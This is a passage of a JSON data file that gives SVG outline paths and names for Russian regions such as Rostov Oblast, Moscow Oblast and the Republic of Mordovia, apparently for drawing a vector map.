Krai"},"ro":{"path":"m37.5,323.45,2.0536,0.98214,1.4286-0.17857,0.625-0.89286-0.44643-1.1607-1.25-0.89286-1.9643-1.3393-0.89286-1.1607-0.35714-0.71428,1.0714-1.4286l2.231-1.08,1.6071-0.26786,1.0714,0.35714,1.4286,1.3393,1.5179,0.35714,1.6964-0.89286,0.89286,0.44643,1.072,1.06,1.339,1.79,0.268,1.33,1.607-0.08,1.3393-0.80358,1.6964-0.0893,1.3393-0.0893,0.35714-1.5178,0.53571-1.4286,1.25-1.6071,1.3393-1.0714,1.6964,1.0714,0.71429,0.35714,0.89286-1.875,0.44643-0.71428,2.6786-0.26786,1.875-1.6964,2.3214-0.17857,2.0536,1.1607,2.1429,1.25,0.98214,0.53571,3.9286,0.0893h2.2321l1.5179-0.98215h1.3393l0.71429,0.625,0.26786,1.6964-0.08929,1.9643v1.875l-0.08929,1.0714-0.981,1.34-1.25,0.98214-1.25,0.71429-0.80357,0.35714-0.35714,1.25-0.44643,1.6072-0.08929,1.4286-0.44643,1.1607-0.625,1.4286-1.4286,1.5179-1.6964,0.53571h-3.125l-1.608-0.36-1.518,0.53-0.625,1.97-0.982,0.62-0.80357,0.53572,0.17857,0.89285,1.3393,1.4286,0.71429,1.4286-1.1607,1.4286-1.3393,0.89285-0.80357,1.7857-0.08929,0.80357,0.98214,0.53571,1.1607,1.1607,0.625,1.0714,0.80357,0.80357,0.71429,1.3393v1.0714l-0.71429,0.80357,0.53572,0.625,1.4286,0.35715,0.625-0.53572,0.71429-0.0893,0.35714,0.98214v1.4286l-1.3393,1.3393-2.1429,1.0714-2.0536,1.1607-3.3929,0.0893-0.80357,0.80357-1.3393,0.80357-1.696,0.46-1.429-0.71-1.696-0.71-0.893-0.9-0.178-2.23-0.179-1.52-1.696-2.14-1.1607-0.80357-0.17857-1.25-0.80357-0.89286-1.7857-0.0893h-2.7679l-2.8571-0.0893-1.3393-0.17857-1.6071-1.7857-0.98214-0.71429v-0.89286l1.3393-1.5178v-1.5179l-0.625-1.25-1.875-1.4286-0.71429-0.625,0.26786-2.2322,2.7679-3.2143,0.08928-1.6071-1.9643-2.2322-1.3393-0.89285-2.411-0.55-1.0714-0.35714-0.08929-0.71429,1.0714-1.0714,0.26786-1.1607z","name":"Rostov Oblast"},"kk":{"path":"m44.554,348.71,0.98214,1.6071,1.1607,1.0714,1.1607,1.6964,0.80357,1.1607,1.1607,0.71429,2.5893,0.44643,1.3393,0.625,0.98214,1.6071s0.98214,1.7857,1.25,2.2321c0.26786,0.44643,0.98214,2.4107,0.98214,2.4107l0.17857,4.9107v3.2143l0.89286,2.2321,3.3036,4.1964,1.25,2.0536-0.17857,2.5893-1.4286,1.875,0.89286,1.3393,4.375,4.7321,0.53571,1.25,0.35714,0.98215,0.89286,0.53571,1.4286,0.0893,1.6071-0.26786,1.7857-0.53572,2.2321-0.89285,2.3214-0.26786,0.713-0.71,0.625-2.15-0.268-1.16-2.232-1.34-0.982-0.71,0.08928-1.3393,1.0714-0.625,1.7857,0.0893,1.4286-1.25-0.53572-0.71428-0.71428-2.0536-0.268-1.7-0.179-1.16h1.0714l1.6964,1.25,1.7857,0.80357,2.6786-0.17857h0.89286l0.53571-1.1607-0.17857-2.4107-0.08929-3.8393v-6.3393-0.98214l-0.08929-2.2321,2.9464-2.8572,0.17857-1.3393-1.4286-0.625v-3.2143l-1.0714-1.1607-1.1607-0.35715-2.5-0.17857-0.625-1.4286-0.17857-0.80357-1.25,0.26786-0.625,1.0714h-1.3393l-1.25-0.0893-1.071-0.98-0.804-0.71-2.321-0.27-0.98214,0.35715-0.71429,0.80357-0.71429,0.35714-0.26786,1.1607-0.35714,0.80357,0.35714,0.625,1.0714,0.35714,1.0714-0.44643,0.89286,0.35714,0.08929,0.98215-0.44643,1.5178-5,3.125-3.3929,0.26786-2.3214,1.3393-1.5179,0.53571-3.8393-1.7857-0.53571-0.35715-0.08929-3.3928-0.71429-1.4286-2.3214-2.2322-0.625-1.25-1.9643-0.80357h-3.5714z","name":"Republic of Kalmykia"},"as":{"path":"m86.873,350.94,1.6415-1.389,1.1364-0.63135,1.7678,1.2627,2.0203,0.63135,2.2728,0.50508,0.88388,1.0102,2.1466,0.88388,0.75761,1.1364,0.63134,1.1364,0,1.389,0,0.88389-1.5152,0.3788-1.1364,1.389-0.12627,1.0102,0.63134,1.389,1.0102,1.1364-0.37881,2.1466-0.75762,1.0102-1.7678,0.88389-0.25254,1.1364,0.50508,0.88388,1.7678,1.1364,2.2728,1.5152,1.389,1.6415,0.63134,1.0102,0,1.5152-1.0102,1.1364-0.25254,2.0203-1.0102,1.0102,0,2.2728,0,2.7779-0.75761,0.3788-1.7678-0.3788-1.894-0.75762-0.63134,0.37881-0.37881,2.1466,1.6415,2.1466,1.1364,1.2627,0.88388,1.0102,0.50508,0.63134,0.12627,1.2627-3.9143,0.25253-3.0305,0.63135-2.1466,0-1.894-1.2627-2.0203-1.5152-5.4296,0-1.0102-0.37881-1.1364-1.1364,0.37881-2.9042-0.88388-1.0102-2.2728-1.6415,0-1.6415,1.0102-0.3788,1.5152,0,1.389-1.0102-0.63134-1.389-0.75761-4.0406,0.63134-0.3788,1.2627,0.75761,2.9042,1.389,2.0203-0.25254,1.2627-0.12627,0.50508-1.6415-0.25254-5.4296,0.12627-5.0508-0.25254-4.2931,2.1466-2.2728,1.0102-1.1364,0.12627-1.389-1.2627-0.50508-0.25254-2.1466z","name":"Astrakhan Oblast"},"ad":{"path":"m21.786,356.21,2.4107-1.4286,2.5-2.6786,0.35714-2.1428-0.26786-3.9286-1.0714-2.7679-2.9464-0.98214l-2.412-1.78-2.232-3.75-1.5179-1.1607-1.3393,0.71428-0.17857,2.1429,1.6071,1.875,0.80357,2.5893,1.1607,1.6964,1.6071-0.35714,1.5179,0.44643-0.44643,2.9464-2.9464,2.3214-3.394,0.71-2.8571,0.35715-0.17857,3.8393,1.0714,1.7857h1.7857l5.3571-2.9464,0.35714,1.7857z","name":"Republic of Adygea"},"vl":{"path":"m85.893,313.18,1.5179-0.98214,1.875-0.0893,1.1607-1.0714,1.1607-1.6072,0-1.25,1.1607-0.98214,1.9643,1.25,2.5,1.9643,3.3036,2.1428,3.9286,1.5179,1.4286,1.5179,0.625,2.1428,0.44643,1.4286,2.8571,0.35714,0.44643,1.4286,2.5893,0.80357,1.7857,1.7857,1.6964,1.6964,0.17857,2.2322-1.5179,1.25-1.6071,2.2321-1.4286,1.3393-0.26786,1.25,0.89286,2.2321,2.9464,1.875,1.6964,1.875,1.7857,1.1607,1.25,3.3036,1.0714,1.875,0.0893,1.25-0.71428,0.53572-1.3393,0.44643-0.71429,0.53571-2.8571,0.26786-4.6429-0.0893-1.6964,0.26786-0.71429,1.6071,0,2.8572-0.17857,1.1607-1.6964,1.25-1.3393,0.98214-4.0178-0.0893-1.0714-0.0893-1.3393-3.0357-1.4286-1.0714-1.875-1.0714-1.0714-0.625l-2.256-0.46-2.054-1.25-1.071-0.18-1.1607,0.625-0.98214,0.71429-1.25,0.26785-2.1429-0.0893-0.89286-1.1607-0.35714-1.25-1.4286,0.26786-0.89286,1.1607h-1.25l-1.875-0.71428-1.25-0.80357-1.3393-0.35715-1.4286,0.17858-1.4286,1.25h-0.89286l-1.4286-2.5-1.25-1.4286-1.0714-0.71428,0.448-1.44,0.893-1.52,1.607-1.43,0.179-0.89-1.6964-2.1429-0.44643-1.0714,1.4286-0.80358,0.625-1.875,0.625-0.53571,1.25-0.35714,1.6071,0.0893h3.0357l1.7857-0.625,1.9643-2.5893,0.89286-4.0179,0.625-1.4286,2.8571-2.0536,1.1607-1.6964,0.35714-3.3036v-2.2322z","name":"Volgograd Oblast"},"vn":{"path":"m70.089,310.77,0-6.0714,0.08929-1.1607,3.75-3.2143,2.5-3.6607,1.3393-1.4286,0.35714-1.875,2.4107-0.71428,0.35714-2.5893,0.625-1.7857,1.0714-0.35714,0.625-2.0536,1.3393-1.7857,1.1607-1.0714,0.98214-0.53571,0.89286,1.1607,0.44643,0,0.71429-1.0714,0.53571-0.71428,1.1607-0.17857,0.89286,0.89285,1.25,1.1607,1.4286,1.4286,1.1607,1.5179,0.80357,0.89285-0.26786,2.1429,0,1.6071,1.875,1.0714,2.3214,1.3393,0.80357,1.3393-0.0893,1.7857-0.89285,1.5178-0.44643,0.98215,1.5179,1.25,1.875,1.7857,1.9643,2.2321,1.3393,1.6964,1.1607,1.9643-0.26786,2.3214,0,2.0536-2.1429,1.0714-0.71428,0.17857-4.2857-1.875-2.6786-1.7857-2.1429-1.4286-1.6964-1.1607-0.53571-0.17857-0.71429,0.80357-0.44643,1.25-1.4286,1.9643-1.6964,0.44643-2.8571,0.80357-3.5714,1.1607-3.2143,0.0893-2.5-0.17857-2.3214-1.25-2.3214-1.0714z","name":"Voronezh Oblast"},"bl":{"path":"m63.304,272.29-5.4464,3.3036,0.08928,2.6786,1.6964,1.875,0.08929,3.125,0.44643,1.6964,2.8571,1.6071,2.8571,0.44643l1.608,2.23-2.5,3.3036-0.35714,2.1429,1.0714,1.6071,2.3214,1.5179,0.17857,2.9464,1.1607,1.5179,0.71428,0.89285,4.7321-4.375,3.75-5.4464,2.0536-0.89285,0.80357-4.1072,1.0714-0.89285,0.53571-1.3393-2.5-2.8571-3.5714-4.1071-2.7679-0.26786-2.9464-1.1607-2.6786-1.6964-2.5893-1.6072-1.9643-1.6071z","name":"Belgorod Oblast"},"ky":{"path":"m63.482,271.84,0-4.6429l-0.357-1.61-1.786-1.97-0.714-1.07,1.3393-1.0714,3.75-1.3393,2.7679-1.3393,2.6786,0.0893,0.53571,1.0714,1.25-0.0893,1.7857-1.1607h0.80357l0.98214,0.44643,1.4286,1.6071,0.53571,0.80357,0.08929,1.6964,1.0714,0.89286,1.0714,0.71428h0.89286l1.0714,1.25,0.17857,3.2143v2.4107l-0.89286,0.98214v1.5179,1.1607l1.0714,1.25,1.1607,0.98214,0.89286,0.17857,1.5179,0.53571,1.0714,1.6072,1.6071,1.5178-0.71429,1.1607-0.80357,0.89286-0.89286-0.80358-1.9643,1.25-1.4286,1.1607-0.53571,0.80357-3.4821-4.1071-2.2321-2.3214-0.98214-0.53572-3.3036-0.625-2.8571-1.5178-3.6607-2.1429-2.4107-1.9643z","name":"Kursk Oblast"},"or":{"path":"m74.732,258.27,1.0714-1.875,2.2321-0.26786,0.89286-1.6071,0.89286-0.53572,1.9643,0.89286,1.6964-0.0893,1.6071-0.71429,1.0714-1.5179,0.89286-0.53571,0.98214,0.17857,1.3393,0.98214,1.9643,0.89286,1.1607,0.89286,0.35714,0.89285,0.71429,1.3393,0.17857,2.0536,0,3.6607,0.98214,1.7857,1.4286,1.875,0.80357,1.25,0.71429,1.7857-0.26786,1.5179-3.9286,1.875-1.9643,0.98214-1.0714,2.1429-1.875,1.0714-1.875,1.0714-2.4107-0.89286-1.9643-1.6071-0.44643-1.6964,0.44643-1.9643,0.44643-0.89285,0.08928-4.4643-0.89286-1.6964-1.7857-0.53571-1.7857-1.4286-0.08929-1.6072-1.3393-1.5178-1.6071-1.6964z","name":"Oryol Oblast"},"lp":{"path":"m86.875,278.45,1.5179,1.875,1.0714,0.89286,1.1607,0.71428,1.1607,1.0714,2.5,2.2321,1.25,1.5179,0.625,1.4286-0.44643,2.5893,0.53572,0.625,2.5,1.3393,1.875,1.7857,1.0714-0.17857,1.0714-0.625,0.44643-0.80357,0.0893-5.8036,0.35714-0.71428,1.4286-0.80357,2.3214-0.17857,2.0536-1.1607,1.3393-0.44643,0.17857-1.6964,0.625-1.3393,1.25-1.5179-0.80357-1.1607-2.6786-0.98215-0.53571-0.53571-0.17858-0.71429,1.0714-1.3393,0-1.6071-2.1428-0.35715-1.0714,0.44643-1.6072,0.80357-0.98214,0.89286-1.1607,0.625-1.4286,0.0893-1.3393-1.5179-1.6964-1.6964-0.80357-0.98214-2.4107,0.89285-3.125,1.6964-1.1607,1.6072-1.6071,1.4286z","name":"Lipetsk Oblast"},"tl":{"path":"m93.482,256.3,3.2143-2.0536,0.98214-0.17857,1.6071,0.80357,0.98215-0.80357,0.71428-1.0714,3.125,0,1.6072,0.625,2.0536,0.35714,1.4286,0.80358,2.4107,0.35714,1.4286,0.71428,0.53572,1.0714,0.98214,1.0714,1.25,1.4286,0.71429,1.6072-0.35715,1.6964-0.98214,1.1607-0.71428,1.6964-1.3393,1.9643-1.6964,2.0536-1.0714,1.875-0.71428,0.98215-0.53572,0.35714-1.7857,0-2.5,0.89286-1.5179,1.0714-1.3393,0.26785-2.0536-1.3393-2.0536-2.5893-0.26786-2.0536-0.53571-1.4286-1.6071-2.5l-1.413-2.14-0.179-2.23z","name":"Tula Oblast"},"bn":{"path":"m67.679,258.62,0.26786-1.7857,2.3214-1.5179,0.44643-1.1607,0-1.4286-1.6071-1.9643-1.7857-2.1429-1.6964-1.9643-2.3214-1.875-1.5179-0.89286-1.6964-0.26786-0.89286-1.1607,0.17857-2.3214,1.3393-1.6071,3.125-2.1429,2.6786-1.875,0.89286-1.7857,0.98214-0.71428,1.6964,0.26786,0.625,1.25,0.625,1.5178,1.0714,2.2322,1.1607,0.80357,5.8929,0.26785,2.1429-0.35714,1.4286,0.53572,3.125,0.89285,2.3214,0,0.71429,1.9643,0,2.2321-0.17857,1.1607-0.98214,1.5178-0.71429,0.53572-0.26786,1.4286,0.26786,1.5179,0,1.25-0.80357,1.4286-1.4286,1.5178-1.7857,0.71429-1.6964,0.17857-1.7857-0.71428-1.4286,0.71428-0.26786,0.89286-2.4107,0.80357-1.0714,1.4286-1.3393,1.25-1.4286,0.17857-1.4286-0.71428z","name":"Bryansk Oblast"},"kj":{"path":"m89.196,239.61,1.6071-1.25,1.6071-1.3393l1.161-0.27,1.429,0.63,0.80357,1.4286,1.0714,1.25,1.7857,0.80357,1.7857,0.35715,3.125,0.0893,1.875-0.0893,1.6071-1.0714,2.4107-0.0893,1.4286,0.44643,0.98214,2.0536,0.26786,1.4286,1.25,0.625,1.6071,0.98215,0.98214,0.80357,0.53572,1.25-0.53572,2.0536-1.0714,1.7857-1.4286,1.9643-1.1607,1.25-0.89286,0.44643-3.75-1.25-2.6786-1.0714-2.6786,0.0893-1.875,0.44642-1.0714,1.25-1.5179-0.44642-1.0714,0.0893-1.0714,0.80357-2.0536,1.0714-0.89286-0.89286-1.0714-0.80357-1.9643-1.25-1.5179-0.89285-0.89286-0.44643v-1.0714-2.4107l-0.08929-0.625,1.1607-1.6964,1.0714-1.875v-1.7857l-0.26786-1.6071z","name":"Kaluga Oblast"},"sm":{"path":"M79.375,237.55,80,235.95,80.179,234.52,79.732,233l-0.08928-1.4286,1.5179-1.3393,0.71429-1.6071,0.08929-3.125,0.35714-1.875,2.4107-2.5,2.5-1.9643,1.875-1.7857s1.875-1.3393,2.2321-1.5179c0.35714-0.17857,2.5-1.5178,2.5-1.5178l2.5,0.0893,3.0357,3.4822,1.875,3.4821,2.5,3.6607,1.4286,0.89286,2.7679,0.53571h2.0536l0.80357,0.71429,1.1607,1.875,1.1607,1.3393,1.25,1.6071,1.0714,1.4286,0.17857,1.3393-0.98214,1.25-1.875,0.89285-1.875,0.53572-0.89286,1.25-0.44643,0.89285-1.875,0.44643-1.7857,0.625-1.6072,0.35715h-3.0357l-3.75-0.80358-1.7857-1.7857-1.4286-1.3393-1.1607-0.26785-1.1607,0.71428-2.2321,1.5179-1.1607,0.44643-1.7857-0.44643-4.1071-0.98214-2.4107-0.35715z","name":"Smolensk Oblast"},"mc":{"path":"m116.07,234.16,3.5714,0.26785,2.3214-0.89285,1.4286-0.44643,0.53571,0.625,0.0893,1.7857,0,1.1607-0.17857,1.3393,1.5178,0.89286,2.9464,0.44643,1.7857,0.89285,2.0536,0.89286,2.7678,0.89286,1.7857,0.26786,1.25,0.53571,0.26786,1.6071-0.0893,1.5179-0.44643,1.6964-1.5179,0.625-2.1428,1.1607-1.6072,1.3393-0.0893,1.25-0.625,1.7857-1.1607,1.5179-0.35714,1.6071,0.17857,1.6072,0.0893,0.89285,1.1607,1.0714,1.0714,0.625,1.1607-1.0714,0.625,0.44643,0,1.5179-0.0893,3.2143-0.44643,1.1607-1.3393-0.44643-1.875-0.17857-1.6072,0.17857-0.80357,0.89286-2.0536,0.0893-1.6071-0.35714-1.25-0.71429-1.0714-1.1607-1.6071-0.625-1.6964,0-0.44643,0.80357-0.17857,1.1607-1.0714,0.53571-1.4286,0.0893-0.80357-0.80358-0.17858-0.625,1.1607-2.4107,0.26786-1.9643-0.53572-1.6964-1.1607-1.5179-1.1607-1.5179-1.0714-0.89286,0.625-1.25,2.5-2.9464,1.1607-2.6786-0.71429-1.7857-1.6071-1.6071-1.6071-0.98215-0.53572-0.35714-0.625-1.875-0.80357-1.25-0.80357-0.80357,0.625-1.5179,2.5893-1.3393z","name":"Moscow Oblast"},"rz":{"path":"m114.55,265.59-1.9643,2.6786-2.1429,3.125-0.625,2.7679-0.80357,1.7857,0.17857,0.80357,1.6964,0.71429,1.9643,1.3393,0.44643,1.5179-0.26786,0.89286,1.4286,1.1607,1.9643,0,1.1607,0.71429,0.0893,1.875,0.44643,1.1607,1.25,0.44643,1.5179-0.625,1.9643,0,1.5179,0.98214,0.625,1.7857,1.0714,1.1607,2.6786-0.17857,3.125,0,2.9464-2.0536,3.0357-2.9464,1.5179-2.2321,1.0714-1.7857-0.98214-2.2321-0.53572-3.125-2.0536-2.0536-1.25-1.6964-0.44643-2.8571-0.53571-1.6072-0.35715-0.98214-2.1428-0.35714-3.4822,0.26786-0.625,0.80357-2.1428-0.17857-1.875-0.71429-1.875-1.0714-1.9643-0.89286-1.0714,0.35715-0.80357,1.4286-1.4286,0.89286-1.6071-0.44643z","name":"Ryazan Oblast"},"tb":{"path":"m112.77,279.43-1.6964,2.1429-0.35714,1.7857-0.80358,0.89286-2.6786,0.98214-1.875,0.44643-1.5178,0.71429-0.71429,1.4286,0,2.1429,0.26786,2.3214-0.71429,1.875-1.5179,0.53571-0.44642,1.4286-0.44643,1.6964-0.625,1.1607,0.08928,0.625,2.3214,2.1429,2.2321,2.1429,1.6072,2.2321,1.4286,2.0536,0.98214,0,2.1429,0,1.9643-1.25,2.5-1.25,1.6964-1.0714,4.0179-0.26785,1.0714-0.98215v-3.6607c0-0.35714,0.0893-2.3214,0.0893-2.3214l1.5179-1.1607s0.71429-0.71429,0.80357-1.0714c0.0893-0.35714-0.26785-4.6429-0.26785-4.6429l1.4286-1.0714-0.80357-2.1428-1.7857-1.4286-2.3214,0.26786-0.89285,0.625-1.1607-0.80357-0.89286-1.3393v-1.3393l-1.875-0.80357h-1.3393l-0.89286-1.0714-0.26786-1.3393z","name":"Tambov Oblast"},"kn":{"path":"m44.107,152.55,0,2.2322,0.53571,2.5,2.0536,5.1786,1.4286,3.4821,1.9643,3.6607,2.5,1.0714,3.75-0.44642,1.9643-1.3393,0.625-1.7857-0.44643-4.2857-0.89286-2.8571-1.5179-1.6071-2.4107-0.53572-0.98214-0.71428,0-3.0357-0.80357-1.4286-1.6964-1.6071-1.6071-0.26786-0.35714,1.25-0.625,1.3393-0.625,0.89285-1.4286-0.35714z","name":"Kaliningrad Oblast"},"ps":{"path":"m95.268,213.98,0.35714-2.1428-0.26786-2.1429-1.4286-1.875-1.3393-1.4286-0.08929-1.6964,0.98214-0.71429,0.17857-1.6964-0.89286-0.98215-1.25-1.875,0-4.1964,1.5179-0.89285,3.75-2.2322,0.80357-2.4107,0.53572-1.7857,1.875-1.25,2.4107-0.0893,1.3393-1.6071,0.98214-1.6964s1.25-0.625,1.6072-0.80357c0.35714-0.17857,2.8571-0.71429,2.8571-0.71429l1.5179-0.0893,1.0714,0.53571-0.625,1.5179-0.71428,0.89285-0.17857,0.98215,1.6071,0.26785,1.25-1.7857,0.98214-2.0536,1.1607-1.5179,1.6071-0.71428h1.6071l1.5179-1.5179,1.1607-0.625h1.4286l0.98214,0.98214,0.625,1.5179,0.98214,1.6071-0.26786,1.6964-0.89285,0.98214-0.35715,1.3393-0.80357,1.6071-0.17857,1.1607h-1.4286-0.80357l-0.71429-0.53572-0.80357,0.53572-0.625,0.80357-0.53571,1.5178-0.53572,2.1429-0.0893,2.5-0.35715,1.875-1.1607,1.25-1.3393,0.98214h-1.7857l-1.5179,1.3393-0.53571,1.7857-1.3393,0.53572-0.44643,1.0714-0.17857,1.4286-1.7857,0.89286-1.7857,0.80357-0.625,1.6964,0.625,1.5178,0.625,0.625-0.26785,1.4286s-0.0893,0.44643-0.44643,0.80358c-0.35714,0.35714-1.1607,1.3393-1.1607,1.3393l-1.4286,0.80357-2.3214,0.89286-1.0714,0.0893-1.1607-0.89286-0.89286-0.89286z","name":"Pskov Oblast"},"no":{"path":"m123.12,188.27,1.5179,1.25,2.1428,0.35714,2.1429,0.17857,1.25,1.1607,2.5,0.53571,2.3214-0.0893,1.0714-0.89286,0.44643,0.625,0.0893,1.7857,2.1429-0.53571,2.3214,0.0893,0.80357,0.80358,0.17857,2.5,0.17857,2.5,0.53572,1.0714,1.3393,0.17858,1.3393,0.44642,0.26785,2.1429,0.71429,1.6964,0.98214,0.80357,0.44643,2.9464,0.0893,2.2321,0.89285,1.4286-0.53571,0.98215-0.71429,0.53571,0,1.6071,0.17858,1.5179,1.4286,1.3393,0.625,0.53571,0.0893,1.9643,0,1.9643-0.17857,1.3393-1.25,0.53571-0.71428-0.26785-0.625-0.80358-0.71429-0.80357-0.17857-1.1607-0.98214-0.80357-0.80358-0.625-2.0536,0-1.5178-0.53572-0.53572-0.35714-1.5178-0.53571-0.71429-0.26786,0-0.44643s-0.26786-1.25-0.26786-1.6964c0-0.44643-0.0893-2.0536-0.0893-2.0536l-0.625-0.98214h-1.7857l-0.89285-0.44643-0.44643-0.98214-0.98215-0.625-0.53571,0.625-0.89286,1.0714-1.6964,1.4286h-2.1428c-0.35715,0-1.5179,0.0893-1.5179,0.0893l-0.71429-1.0714-1.0714-0.71428-2.3214-0.17857-2.6786-0.0893-1.5179-0.44643-1.3393-0.98214-2.3214-0.44643h-2.1428l-0.89286-1.1607-1.25-1.0714-0.53571-0.71429-1.1607-0.71428,0.98214-2.7679,0.71429-0.44643,1.1607-1.5179,1.0714-1.0714,2.0536-0.625,2.5-1.9643,0.625-1.9643,0.0893-3.5714,0.98214-2.5893,1.0714-1.25,1.1607,0.26786z","name":"Novgorod Oblast"},"tr":{"path":"m98.661,216.66,3.2143-0.625,2.2321-1.6072,1.3393-1.6071,0.17857-1.4286-0.80357-1.4286-0.26786-1.3393,0.35714-0.89286,1.4286-0.89285,1.6964-0.625,1.1607,0.44643,1.5179,1.5178,1.0714,0.98215,0.98215,0.53571,1.6964,0.17857,2.4107,0.35714,1.3393,0.98215,1.3393,0.26785,3.2143,0.44643,1.5178,0,1.25,0.71429,0.80358,0.71428,1.875,0.35715,1.7857-0.17857,1.875-1.6072,1.25-1.25,0.71429,0.44643,0.625,0.80357,1.4286,0.44643,1.4286,0.17857,0.53571,1.5179,0.17857,2.4107,0.35715,0.80358,1.1607,0.71428,1.4286,0.80357,1.0714,0.26786,1.875,0.35714,0.98214,0.26786,1.25,1.0714,0.44643,1.3393,0.98214,1.0714,0.80358,0.53572,1.7857-0.35715,1.3393,0.0893,1.25,0.71429,1.6071,0.89285,0,1.5179-0.625,1.6964-1.25,1.6071-1.6071,0.44643-1.25,0.98214-1.5179,1.3393-0.89286,1.0714-0.44643,0.71428-0.26785,1.5179-0.44643,1.0714-1.25,1.4286-0.53572,1.4286-0.35714,2.0536-2.0536,1.9643-2.0536,1.3393-1.0714,0.17858-0.53571-0.71429-0.26786-1.7857-1.6964-0.71429-3.8393-0.89286-3.8393-1.6071-3.0357-0.80357-1.5178-1.0714-0.0893-3.0357-0.35714-1.6964-3.3036,0.80357-3.4822,0.26786-1.3393-0.89286-3.4821-4.4643-1.5179-2.0536-3.3036-0.625-2.7679-0.53571-1.4286-1.7857z","name":"Tver Oblast"},"vm":{"path":"m137.41,247.73,1.6072,1.7857,2.0536,1.25,1.1607,1.0714,1.3393,0.35714,0.80357,0.89286,0.0893,1.5178-0.89285,1.7857-0.35715,1.0714,1.25,0.625,1.7857,0.26785,1.0714,1.1607,0.17857,1.9643,0.98214,1.875,1.0714,1.25,1.3393,1.25,1.3393,1.3393,1.3393,1.1607,1.7857,1.875,0.89286,1.3393-0.17857,0.98214-0.89286,0.71429l-0.18,0.98,0.53571,0.71429,0.44643,0.71428,0.0893,1.6072-1.7857,0.53571-2.2321-0.0893-1.1607-1.0714-4.4643-0.0893h-5.1786l-1.7857,0.53571-0.71429-1.6964-1.6964-1.9643-1.6071-2.6786-0.80357-4.1964-0.0893-4.1071-0.17857-2.0536-0.44643-0.44643-0.71428,0.44643-1.1607,0.26785-1.4286-1.25-0.26786-2.5893,0.71429-2.0536,1.1607-2.0536,0.44643-1.7857,1.3393-1.0714z","name":"Vladimir Oblast"},"pz":{"path":"m127.05,289.96,1.6964,1.7857,2.0536,1.5179,1.25,0.98214,1.6964,0.625,1.25,1.875,0.71429,1.6071,0.26785,1.9643,0.98215,0.98214,1.0714,1.0714,2.6786,0.17857,1.6964,0.0893,0.625,2.1429,0.89286,1.7857,1.6964,0.71429,2.1429,0.26785,1.4286,1.0714,0.625,1.0714-1.5179,0.89286-0.89286,0.98214,0.0893,4.1071-0.26786,3.4822-2.7679,1.25-1.0714-0.0893-0.89286,1.6071-1.9643,0.98215-1.1607-1.7857-0.98214-0.98214-5.9822-0.0893-1.1607-1.875-0.89286-0.89285-3.125-0.71429-0.98214-1.6071-1.25-1.6964-2.1429-0.71429-2.4107-1.3393-1.6071-1.0714-2.5,0.0893-0.71429-1.875,0.26786-2.5,1.1607-0.89285,3.8393-0.80357,0.89285-2.4107,0-3.4821,1.3393-1.6964,1.3393-1.6071-0.26786-2.5893,0-1.9643,1.1607-0.89286z","name":"Penza Oblast"},"sr":{"path":"m107.23,308.27-0.17857,3.0357-0.26786,1.25-2.2321,1.1607,1.4286,1.6964,1.0714,3.2143,2.2321,0.71429,0.98215,0.80357,0.89285,1.0714,1.7857,0.625,2.5893,2.5,0.89286,1.0714,0,1.875-1.5179,2.0536-2.4107,2.8571-0.44643,1.25,0.44643,1.6964,0.71429,0.89286,2.1428,1.1607,4.0179,3.9286,1.7857,4.5536,1.25,1.4286,1.25,1.3393,0.26786,1.9643-0.71428,2.5-0.53572,2.4107,0.26786,1.7857,0.89286,1.0714,1.6071,0.44643,1.6964,0,1.6964-1.1607,1.25-1.0714,0.44642-2.6786,0.0893-1.875,2.2321-0.625,3.3036,1.25,1.6964,0.35714,1.6072,0,1.3393-1.5179,0.44643-0.53571,1.6071,0.35714,1.3393,1.0714,1.5178,0.89286,4.6429,0,1.1607-1.1607,1.3393,0.17857,0.89286,0.80358,1.6071-0.53572,0-1.7857-0.89286-1.9643-0.35714-1.3393-0.17857-3.9286-0.0893-2.0536-0.71428-1.25,0.0893-2.8571-0.35714-1.6071,0-2.5-0.80357-1.3393-1.1607-1.6071-2.5-1.0714-1.6072-2.0536-2.5893-0.0893-1.0714-0.35714-1.7857-1.6964-0.625-1.25-0.44642-0.89286-1.7857-2.4107-5.625-0.26786-0.53571-0.17857-1.9643-2.5893-3.125-0.89286-2.2321-2.9464-6.1607-3.3036-2.3214,0-1.0714-1.6964,0.44643-2.5-0.80357-0.35714-3.8393,2.1428-1.5179,0.35715z","name":"Saratov Oblast"},"mr":{"path":"m127.59,290.05,1.875,2.1429,2.6786,1.7857,1.7857,1.1607,1.7857,2.7679,0.44642,2.4107,2.0536,2.1429,2.5893,0.0893,1.6071,0.26786,0.89286,2.2321,0.71429,1.4286,2.0536,0.89286,1.7857,0.35714,1.25,0.625,0.53572,0.80358,5.8928,0.17857,2.6786-3.5714,0.35715-0.53572,0.71428-1.3393,0.0893-2.1429-0.0893-1.9643-1.7857-0.98215-0.35714-2.5-0.0893-0.80357-1.6964,0,0,0.17857-0.80357,0.89286-1.3393,0.80357-5.2678,0-2.5893-2.3214,0.17857-3.5714-1.1607-1.0714-0.17857-0.80358,1.0714-1.0714,0-1.6072-2.5893-0.53571-1.7857-0.0893-0.80357-1.25-0.71429-1.6964-1.25,1.1607-2.1429,2.3214-2.4107,1.5178-1.5179,0.98215-2.9464,0.26785z","name":"Republic of Mordovia"},"cu":{"path":"m159.11,299.07,1.3393-0.89286,2.9464,0.44643,1.3393,0.44643,1.0714-1.3393,0.26786-1.7857,2.2321-1.1607,2.2321-2.2322,3.125,0.0893,2.6786,0,1.25,1.5179,0.35715,2.9464-0.17857,1.5179,0.35714,1.25,0.71428,1.1607-0.0893,0.71428-1.3393,0.625-4.1071-0.0893-1.3393,0.53571-0.80357,0.80357,0,0.89286,1.1607,0.71428-0.17857,0.89286-1.3393,1.1607-1.7857,1.25-2.1429,0.98214-1.3393,0.44643-1.3393-1.3393-2.5-0.44643-0.98215-0.625-0.98214-1.3393-0.80357-0.80357,0.80357-3.5714z","name":"Chuvash 